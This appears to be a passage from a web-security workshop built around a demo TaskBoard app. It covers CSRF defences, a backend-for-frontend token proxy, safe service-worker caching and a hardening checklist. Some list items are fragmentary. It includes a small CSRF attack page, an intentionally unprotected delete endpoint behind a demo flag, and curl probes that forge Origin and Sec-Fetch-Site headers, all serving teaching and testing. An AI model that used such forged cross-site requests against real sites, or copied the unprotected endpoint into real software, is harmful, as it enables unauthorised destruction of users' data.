<button onclick="document.getElementById('csrf').submit()">Click for puppies</button>
And the endpoint it hits β the shape of every classic CSRF victim:
if (INSECURE_CSRF_DEMO) {
app.post('/api/tasks/unsafe-delete-all', (req, res) => {
const session = getSession(req.cookies?.sid); // cookie is the ONLY check
if (!session) return res.status(401).json({ error: 'no_session' });
const removed = tasks.length;
tasks = [];
console.log(`[STAGE D] deleted ${removed} tasks β no CSRF check ran`);
res.send(`Deleted ${removed} tasks as ${session.user}.`);
});
}
Origin: http://127.0.0.1:5174,
Sec-Fetch-Site: cross-site, Cookies present: sid. The server was told
everything it needed to refuse β and asked none of it.# restart with the sane default
cd server && COOKIE_SAMESITE=lax INSECURE_CSRF_DEMO=1 npm run dev
Log in again, then re-run the attack. The server log now shows the request arriving with
Cookies present: (none) and the endpoint answering
401. Same attacker page, same endpoint, same code β one cookie attribute.
With SameSite=Lax holding the line, is Stage E still necessary? Give the
strongest argument for "no, we're done", then say why you would still add the layers.
The strongest case for "done": Lax is the default in
current browsers, it blocked the attack you just watched, and it costs nothing. For a huge
share of endpoints this is a perfectly reasonable place to stop, and pretending otherwise
is how security guidance gets ignored.
Why layer anyway, for anything destructive:
Lax still permits top-level GET navigation. One
state-changing GET and the defence is gone.Lax into None in a config file, and every endpoint that was
silently relying on it becomes vulnerable at once, with no code change to review.That last one is the argument that usually wins: a defence you did not write down is a defence someone can remove without noticing.
SameSite=Lax stops this exact attack. The server log is
where you confirm what actually happened.localhost:5174. Same site as the API, cookie sent
regardless of SameSite, and you would walk away believing Lax does
nothing. The 127.0.0.1 detail is the experiment's control.| Layer | What it checks | Alone, it misses |
|---|---|---|
1. SameSite=Lax | Browser withholds the cookie cross-site | Top-level GETs, same-site subdomains, browsers you cannot verify |
| 2. Origin / Referer | Server checks who initiated it | Requests with neither header; same-site subdomains |
| 3. Fetch Metadata | Sec-Fetch-Site, stated by the browser | Older browsers omit it entirely |
| 4. CSRF token in a custom header | Proof the caller could read a same-origin response | XSS β which reads the token as easily as you do |
<form> cannot set an arbitrary request header. There is no
attribute for it β the capability does not exist in HTML. And a cross-site
fetch() that tries stops being a "simple" request, so the browser sends a CORS
preflight first, which your server refuses. So the mere presence of
X-CSRF-Token already proves the request did not come from a plain cross-site
form. Checking the value then proves the caller could read a same-origin response.import crypto from 'node:crypto';
import type { Request, Response, NextFunction } from 'express';
import { getSession } from './sessions.js';
/** The only origins allowed to perform state-changing requests against this API. */
export const ALLOWED_ORIGINS = ['http://localhost:5173'];
/** Layer 2 β Origin validation. */
export function originIsAllowed(req: Request): boolean {
const origin = req.headers.origin;
if (origin) return ALLOWED_ORIGINS.includes(origin);
// No Origin header. Some same-origin GETs and some non-browser clients omit it.
// Fall back to Referer; if neither is present we REFUSE for state-changing methods.
const referer = req.headers.referer;
if (!referer) return false;
try {
return ALLOWED_ORIGINS.includes(new URL(referer).origin);
} catch {
return false;
}
}
/**
* Layer 3 β Fetch Metadata.
* The browser states, unforgeably by page JavaScript, how the request was initiated.
* same-origin : from our own page
* same-site : from another origin on the same site
* cross-site : from somebody else's page <-- what CSRF looks like
* none : user typed the URL / bookmark
* Old browsers omit these headers entirely, so absence must not be treated as proof.
*/
export function fetchMetadataIsSafe(req: Request): boolean {
const site = req.headers['sec-fetch-site'] as string | undefined;
if (!site) return true; // header absent: no signal, defer to the other layers
return site === 'same-origin' || site === 'same-site';
}
/** Layer 4 β CSRF token, compared in constant time. */
export function csrfTokenIsValid(req: Request): boolean {
const session = getSession(req.cookies?.sid);
if (!session) return false;
const provided = req.headers['x-csrf-token'];
if (typeof provided !== 'string') return false;
const a = Buffer.from(provided);
const b = Buffer.from(session.csrfToken);
// timingSafeEqual throws on length mismatch, so length-check first.
return a.length === b.length && crypto.timingSafeEqual(a, b);
}
/** All four layers, applied to every state-changing request. */
export function requireCsrfDefences(req: Request, res: Response, next: NextFunction) {
if (!originIsAllowed(req)) {
return res.status(403).json({ error: 'csrf_origin_rejected' });
}
if (!fetchMetadataIsSafe(req)) {
return res.status(403).json({ error: 'csrf_fetch_metadata_rejected' });
}
if (!csrfTokenIsValid(req)) {
return res.status(403).json({ error: 'csrf_token_rejected' });
}
next();
}
Applied to every state-changing route:
app.post('/api/tasks/delete-all', requireCsrfDefences, (req, res) => { /* ... */ });
app.post('/api/tasks/reset', requireCsrfDefences, (req, res) => { /* ... */ });
And on the client β note that the token is held in React state, not in storage:
async function fetchCsrf() {
const r = await apiGet('/auth/csrf');
setCsrfToken(r.body.csrfToken); // in memory: dies with the tab
}
// api.ts attaches it as a custom header:
if (csrfToken) headers['X-CSRF-Token'] = csrfToken;
crypto.timingSafeEqual, with a length check first because
it throws on mismatched lengths.Origin and absent Referer is a refusal for
state-changing methods. Being strict here is what makes the check worth having.cd server && COOKIE_SAMESITE=lax INSECURE_CSRF_DEMO=1 npm run dev
In the app: Stage E β Log in β Fetch CSRF token β Delete all (with token) β 200. Then Delete all (no token) β 403. Now the four curl probes, each defeating exactly one layer:
curl -i -c jar.txt -X POST http://localhost:4000/auth/login-session \
-H 'Content-Type: application/json' -H 'Origin: http://localhost:5173' \
-d '{"user":"demo@taskboard.test"}'
CSRF=$(curl -s -b jar.txt -H 'Origin: http://localhost:5173' \
http://localhost:4000/auth/csrf | sed 's/.*"csrfToken":"\([^"]*\)".*/\1/')
# 1. everything correct -> 200
curl -i -b jar.txt -X POST http://localhost:4000/api/tasks/reset \
-H 'Content-Type: application/json' -H 'Origin: http://localhost:5173' \
-H "X-CSRF-Token: $CSRF"
# 2. wrong Origin -> 403 csrf_origin_rejected
curl -i -b jar.txt -X POST http://localhost:4000/api/tasks/reset \
-H 'Content-Type: application/json' -H 'Origin: http://127.0.0.1:5174' \
-H "X-CSRF-Token: $CSRF"
# 3. cross-site metadata -> 403 csrf_fetch_metadata_rejected
curl -i -b jar.txt -X POST http://localhost:4000/api/tasks/reset \
-H 'Content-Type: application/json' -H 'Origin: http://localhost:5173' \
-H 'Sec-Fetch-Site: cross-site' -H "X-CSRF-Token: $CSRF"
# 4. no token -> 403 csrf_token_rejected
curl -i -b jar.txt -X POST http://localhost:4000/api/tasks/reset \
-H 'Content-Type: application/json' -H 'Origin: http://localhost:5173'
Probe 3 sets Sec-Fetch-Site: cross-site by hand in curl and gets rejected β
good. But a real attacker's fetch() is running in a browser. Can their
JavaScript set Sec-Fetch-Site: same-origin to slip past layer 3?
No. Sec-Fetch-* are forbidden header names: the
Fetch specification requires the browser to ignore any attempt by page script to set them.
The browser writes them itself, from what it knows about the request's initiator. That is
exactly why they are trustworthy β and why the Sec- prefix exists as a
convention for headers only the user agent may write.
So why did curl succeed? Because curl is not a browser and has no same-origin policy to enforce. It will send any header you type. The lesson is not that layer 3 is weak β it is that curl is the wrong instrument for testing browser-enforced controls. Use it to test what your server does with a given set of headers; use a real cross-origin page to test what a browser will actually send.
This is also the honest limit of layer 3: it is only as good as the browser sending it, which is why it is a layer and not the whole defence.
SameSite reduces the attack surface; Origin and Fetch Metadata let the
server verify the initiator; the custom-header token proves same-origin capability.
Independent failure modes are the point β no single layer covers everything./auth/csrf and gets a perfectly valid token, and its Origin is genuinely yours.
CSRF defences and XSS defences protect against different attackers.TaskBoard now syncs with an upstream service at localhost:4001 that
authenticates with a long-lived bearer token. The naive design puts that token in the frontend
so the browser can call the upstream directly. Then one XSS exfiltrates it, and the attacker
uses it from their own machine β no session, no cookie, nothing you can revoke without
rotating a shared credential across every client.
app.get('/bff/tasks', async (req, res) => {
const session = getSession(req.cookies?.sid);
if (!session) return res.status(401).json({ error: 'no_session' });
const upstream = await fetch('http://localhost:4001/v1/tasks', {
headers: { Authorization: `Bearer ${UPSTREAM_TOKEN}` }, // never leaves the server
});
if (!upstream.ok) return res.status(502).json({ error: 'upstream_failed' });
const data = await upstream.json();
res.json({ mode: 'bff', user: session.user, source: data.source, tasks: data.tasks });
});
The browser's side of the refactor is smaller than the security gain suggests:
- const token = localStorage.getItem('upstream_token');
- await fetch('http://localhost:4001/v1/tasks', {
- headers: { Authorization: `Bearer ${token}` },
- });
+ await fetch('http://localhost:4000/bff/tasks', { credentials: 'include' });
cd server && npm run upstream # terminal 4
cd server && COOKIE_SAMESITE=lax npm run dev
# app -> Stage F -> Log in -> Load tasks via BFF
upstream-secret-token-do-not-ship from inside the browser:
Object.keys(localStorage) β empty.# the upstream refuses anonymous callers
curl -i http://localhost:4001/v1/tasks
# -> 401 upstream_unauthorized
# the BFF refuses callers without a session
curl -i http://localhost:4000/bff/tasks
# -> 401 no_session
# with a session, the BFF supplies the token on your behalf
curl -i -b jar.txt http://localhost:4000/bff/tasks
# -> 200, tasks from source "upstream:4001"
An XSS lands in the TaskBoard frontend after this refactor. List what the attacker can and cannot do, and say which single control most limits the damage.
Can: call /bff/tasks and every other BFF route as the
logged-in user, read the responses, exfiltrate the data, and perform any action
the BFF exposes β for as long as the tab is open and the session is valid.
Cannot: obtain the upstream token; use the upstream API directly; continue after the session expires or is revoked; operate from their own machine later.
The single most limiting control: the narrowness of the BFF's surface.
The attacker's capability is exactly the set of operations you chose to expose, not the
upstream API's full capability. A BFF with one /bff/proxy?url= route gives
away everything you just protected; a BFF with four named operations gives away four
operations.
Short session lifetime and server-side revocation are the close second, because they bound how long any of it lasts.
/bff/proxy?url=... in review, that is the finding.HttpOnly cookies. Its Cache Storage is readable by any script on the origin. An
XSS on the page can postMessage it and use whatever it exposes. Handing a token
to a service worker "to keep it safe" moves the secret to a place that is arguably
worse, because it now outlives the page.The good news is that a service worker does not need the credential. It proxies
fetch, and the browser attaches cookies to those requests exactly as it always
does. Cookie-based sessions and service workers get along without either knowing about the
other.
| Cache? | What | Why |
|---|---|---|
| Yes | App shell: HTML, JS, CSS, fonts, icons | Identical for every user. This is what makes it launch offline. |
| Yes | Static, public reference data | Not user-specific, not sensitive |
| Careful | The user's own task list | Genuinely useful offline. Encrypt-at-rest is not available to you, so treat it as readable by anyone with the device β and purge it on logout. |
| Never | Anything from /auth/* | Tokens, CSRF tokens, session metadata |
| Never | Non-GET responses | Meaningless to cache and a common source of stale writes |
| Never | Another user's data, after a user switch | The shared-device failure. Purge on logout. |
/// <reference lib="webworker" />
/**
* TaskBoard PWA service worker β Stage G.
*
* READ THIS FIRST: a service worker is ORDINARY JAVASCRIPT RUNNING ON YOUR ORIGIN.
* It is not a vault. It cannot read HttpOnly cookies, and it must not be handed a
* token to "keep safe" β an XSS on the page can talk to it, and anything it caches
* lives on disk in Cache Storage, readable by any script on the origin.
*
* The rule: cache the SHELL, never the SECRETS.
*/
const SHELL_CACHE = 'taskboard-shell-v1';
const SHELL_ASSETS = ['/', '/index.html'];
self.addEventListener('install', (event) => {
event.waitUntil(caches.open(SHELL_CACHE).then((c) => c.addAll(SHELL_ASSETS)));
self.skipWaiting();
});
self.addEventListener('activate', (event) => {
// Delete old caches on every deploy, so a stale shell cannot outlive a security fix.
event.waitUntil(
caches.keys().then((keys) =>
Promise.all(keys.filter((k) => k !== SHELL_CACHE).map((k) => caches.delete(k)))
)
);
self.clients.claim();
});
/** Anything under these paths must never touch Cache Storage. */
function isSensitive(url) {
return (
url.pathname.startsWith('/auth/') ||
url.pathname.startsWith('/bff/') ||
url.pathname.startsWith('/api/')
);
}
self.addEventListener('fetch', (event) => {
const req = event.request;
const url = new URL(req.url);
// 1. Never cache authenticated or personalised responses. Network only.
// Caching /api/tasks would leave one user's tasks on disk for the next user
// of a shared device, and would serve them after logout.
if (isSensitive(url)) return; // fall through to the network, uncached
// 2. Never cache anything that is not a GET.
if (req.method !== 'GET') return;
// 3. Never cache other origins by accident.
if (url.origin !== self.location.origin) return;
// 4. The shell: cache-first, so the app opens offline.
event.respondWith(
caches.match(req).then((hit) => hit ?? fetch(req))
);
});
/**
* Offline write queue β the honest version.
*
* Queue the USER'S INTENT (a task title), never a credential. When connectivity
* returns, replay it through the normal authenticated path: the browser attaches the
* session cookie at replay time, and the request is rejected if the session has
* expired or been revoked in the meantime. That rejection is correct behaviour, and
* your UI has to handle it.
*/
self.addEventListener('sync', (event) => {
if (event.tag === 'taskboard-outbox') {
event.waitUntil(replayOutbox());
}
});
async function replayOutbox() {
// Read pending intents from IndexedDB (omitted for brevity) and POST them.
// The key line is `credentials: 'include'` and NOT a stored token.
// If this returns 401, surface a re-login prompt β do not silently drop the write.
}
/**
* Register the service worker only in production builds. In dev, a stale service
* worker will happily serve you yesterday's bundle and you will lose an hour.
*/
export function registerServiceWorker() {
if (!('serviceWorker' in navigator)) return;
if (!import.meta.env.PROD) return;
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch((err) => {
console.warn('SW registration failed', err);
});
});
}
/**
* On logout, tear down everything the origin cached for this user. Skipping this is
* how a PWA shows the previous user's data on a shared laptop.
*/
export async function purgeOnLogout() {
if ('caches' in window) {
const keys = await caches.keys();
await Promise.all(keys.map((k) => caches.delete(k)));
}
if ('serviceWorker' in navigator) {
const regs = await navigator.serviceWorker.getRegistrations();
await Promise.all(regs.map((r) => r.unregister()));
}
localStorage.clear();
sessionStorage.clear();
}
The temptation with an offline queue is to store enough to replay a request later β including the credential that authorised it. Do not. Queue the intent: the task title, the target board, a client-generated id for idempotency. When connectivity returns, replay it through the normal authenticated path and let the browser attach the session cookie at replay time.
Which means a queued write can be rejected with a 401 if the session expired
while the device was offline. That is correct behaviour, and your UI has to handle it: keep
the item, prompt for re-login, replay after. Silently dropping a user's offline work is a
worse bug than the login prompt.
activate, or a stale shell will outlive a security fix you have already shipped.To make TaskBoard "feel instant", a developer adds /api/tasks to the service
worker's cache-first list. Name three distinct failures this causes β one of them a security
failure.
1. Security β data disclosure after logout, and across users. The task list is now on disk in Cache Storage. Log out, hand the laptop to a colleague, and the cached response is served to them before any network request happens. Same failure with two accounts on one device. Cache Storage is also readable by any script on the origin, so an XSS reads the board without making a single API call.
2. Correctness β stale writes. Cache-first means the user adds a task, sees the old list, and concludes the app lost their work. They add it again. Now there are duplicates, and the bug report will describe neither cause.
3. Authorisation goes stale. Revoke a user's access to a shared board and their client keeps serving the cached copy. Your access-control change did not reach the device, and nothing in your logs suggests otherwise.
The fix: network-first (or network-only) for authenticated data, with an explicit, purge-on-logout offline copy if β and only if β offline reading is a real product requirement. "Feels instant" is a caching problem to solve with stale-while-revalidate on public resources, not by putting personal data on disk.
/auth/*, be deliberate about user data. Queue intents, not credentials.
Purge everything on logout. Version your caches.| Property | localStorage token | sessionStorage token | HttpOnly cookie session | BFF + HttpOnly session |
|---|---|---|---|---|
| Persistence | Until cleared β survives restart | Dies with the tab | Server-controlled expiry, survives restart | Same as cookie session |
| Cross-tab | Shared | Isolated β log in per tab | Shared | Shared |
| XSS exposure | Total: token read and exfiltrated, reusable anywhere, forever | Total while the tab lives | Credential cannot be stolen; session can be used from the page | Same, and upstream tokens are structurally out of reach |
| CSRF exposure | None β not ambient | None | Yes β must be defended (Module 18) | Yes β same defences apply |
| Revocation | Only by expiry, unless you add a blocklist | Same | Instant, server-side | Instant, and cuts upstream access too |
| Offline / PWA | Token available offline β and permanently on disk | Lost when the app is closed and reopened | Cookie survives; queue intents and replay | Same, plus upstream calls degrade server-side |
| Backend complexity | Lowest | Lowest | Session store + CSRF defences + CORS credentials | Highest β a service to run, deploy and monitor |
| Use it when | Prototypes; low-value data; a public API with genuinely non-sensitive scopes | Kiosk or shared-terminal apps where per-tab isolation is the requirement | The default for a first-party PWA with one backend you own | You consume third-party APIs, or need one place to enforce authorisation and audit |
Walk it top to bottom. The first "yes" that stops you is your answer.
START: a browser app that needs authentication
|
| Q1. Do third-party or upstream API tokens have to be used?
| YES -> BFF. Not a preference β the token cannot be in the browser.
| no |
| v
| Q2. Must you be able to log someone out immediately?
| (compliance, staff accounts, financial data, shared devices)
| YES -> server-side sessions. Stateless tokens cannot do this.
| no |
| v
| Q3. Is your frontend same-site with your API?
| (app.example.com + api.example.com, or one origin)
| YES -> HttpOnly cookie session. Simplest thing that works.
| no |
| v
| Q4. Are there non-browser clients β native mobile, CLI, partners?
| YES -> tokens for those clients; cookies for the browser.
| Do not force one mechanism on both.
| no |
| v
| Q5. Truly public, low-value, read-mostly data?
| YES -> a token in storage is a defensible trade. Write down why.
| no -> HttpOnly cookie session. It is the default for a reason.
WHICHEVER BRANCH YOU LAND ON:
- short lifetimes, rotation on login and privilege change
- server-side logout
- CSP
- CSRF defences on every state-changing route, if anything is ambient
A team argues for localStorage tokens because "we'll need native mobile next year and we want one auth mechanism everywhere". Is that a good reason?
It is a real constraint answered with the wrong conclusion.
The wish for one mechanism is understandable, but it optimises for the auth code being
uniform rather than for either client being well-served. Native apps have an OS keychain β
real, process-isolated storage that a browser does not have. Browsers have
HttpOnly cookies β real isolation a native HTTP client does not need. Forcing
both onto the weakest common denominator throws away the one protection each platform
actually offers.
The shared thing should be the identity layer: one user store, one set of
permissions, one issuing service, one set of session semantics. The transport
differs by client β a cookie for the browser, a keychain-stored token for the app. In an
Express app that is one extra middleware that reads either a cookie or an
Authorization header and resolves both to the same principal.
And "we'll need it next year" is a prediction. Shipping a permanent XSS exposure today to pay for a mobile app that may not happen is a poor trade in both directions.
HttpOnly β JavaScript cannot read it, so XSS cannot exfiltrate it.Secure β never travels over plain HTTP. Non-negotiable in production.SameSite=Lax as the baseline. Strict for high-value cookies
if you accept the link-from-email logout. None only with a written reason.Domain attribute unless cross-subdomain sessions are a requirement.Path narrowed where the cookie is not needed everywhere.__Host- prefix so the browser enforces the above.crypto.randomBytes), 128 bits or more. Never
Math.random().HttpOnly, path-scoped to the refresh
endpoint, rotated on each use, with reuse detection that kills the family.SameSite=Lax.Sec-Fetch-Site checked, with absence treated as no-signal rather than
failure.urlencoded on JSON APIs.* with credentials β browsers reject
the pair anyway.evil-example.com because it ends with example.com is
a real and common bug.allowedHeaders is a minimal list.default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';
frame-ancestors 'none'. Add nonces or hashes where you truly need inline script; avoid
unsafe-inline.dangerouslySetInnerHTML without a real sanitiser.Strict-Transport-Security, X-Content-Type-Options: nosniff,
Referrer-Policy: strict-origin-when-cross-origin.npm audit or equivalent in CI; new packages reviewed
by a human.Authorization, not passwords, not reset links. Log names and presence./auth/* or non-GET responses.activate.401 on
replay without losing the user's work.If you could only implement three items from this entire list for a brand-new PWA, which three, and why those?
There is no single right answer, but here is a defensible three:
1. HttpOnly; Secure; SameSite=Lax on the session cookie.
One line of code. It removes credential theft entirely and blocks the classic CSRF attack.
Nothing else on the list has that ratio of effort to protection.
2. Server-side sessions with real logout and a short lifetime. This is what turns an incident from "unbounded" into "bounded". Every other control eventually fails; the ability to end a session is what you reach for when one does.
3. A strict CSP. The whole workshop keeps arriving at "and XSS defeats this too". CSP is the one control that attacks that root cause rather than its consequences, and it protects you against the dependency you have not audited yet.
Deliberately not in the three: CSRF tokens. They matter β but with
SameSite=Lax, a JSON-only API and no GET mutations, you have covered the
common case, and a token is the layer to add next rather than first. Ordering by risk
reduction per hour is a legitimate engineering skill, as long as you write down what you
deferred.
Set-Cookie.
If it is absent, this is a server problem, not a browser one.Secure over plain HTTP, or a Domain the setting host is not
allowed to claim.credentials: 'include' is mandatory. This is the most common cause by a
wide margin.credentials: true and an exact origin. * plus credentials is
refused by the browser.SameSite=Lax withholds it
on fetches and POSTs. Check the SameSite column in DevTools.Path=/api means
/bff/... gets nothing.maxAge plus a machine that slept is a real cause.csrf_origin_rejected, csrf_fetch_metadata_rejected,
csrf_token_rejected. Do the same in your app; a generic 403 costs you an hour.http vs https, or a proxy rewriting it.Sec-Fetch-*? Is the request genuinely cross-site β an iframe or a redirect
chain you forgot about?Access-Control-Allow-Origin, credentials with a wildcard, a header not in
allowedHeaders, a method not allowed.OPTIONS request. If it
failed, fix the preflight response β the real request never went.These are different clients with different rules. The differences, in the order they bite:
| Behaviour | Browser | curl |
|---|---|---|
| Cookie jar | Automatic | Only with -b / -c |
Origin header | Sent automatically | Only if you type it |
Sec-Fetch-* | Always, and page script cannot forge them | Never, unless you type them |
| SameSite | Enforced | No concept of it |
| CORS / preflight | Enforced | Not enforced at all |
| Redirects | Followed, cookies re-evaluated per hop | Only with -L |
credentials: 'include', or CSP blocking the script
that makes the call.Origin, or the CSRF header.A user reports: "I log in, it works for a few minutes, then everything 401s until I log in again β but only at the office." Everything works in staging. Where do you look first?
"Only at the office" is the whole clue β it points at infrastructure on that network path, not at your code, and it is the reason to resist debugging the login flow first.
Ranked suspects:
Origin, or Sec-Fetch-*. Compare your server log for an office
request against a home one; the difference will be visible immediately.The first move costs nothing: log the instance id alongside each request and ask the user for a request id from a failing call. If the failures cluster on instances that did not serve the login, suspect 1 is confirmed and you have not touched the auth code at all.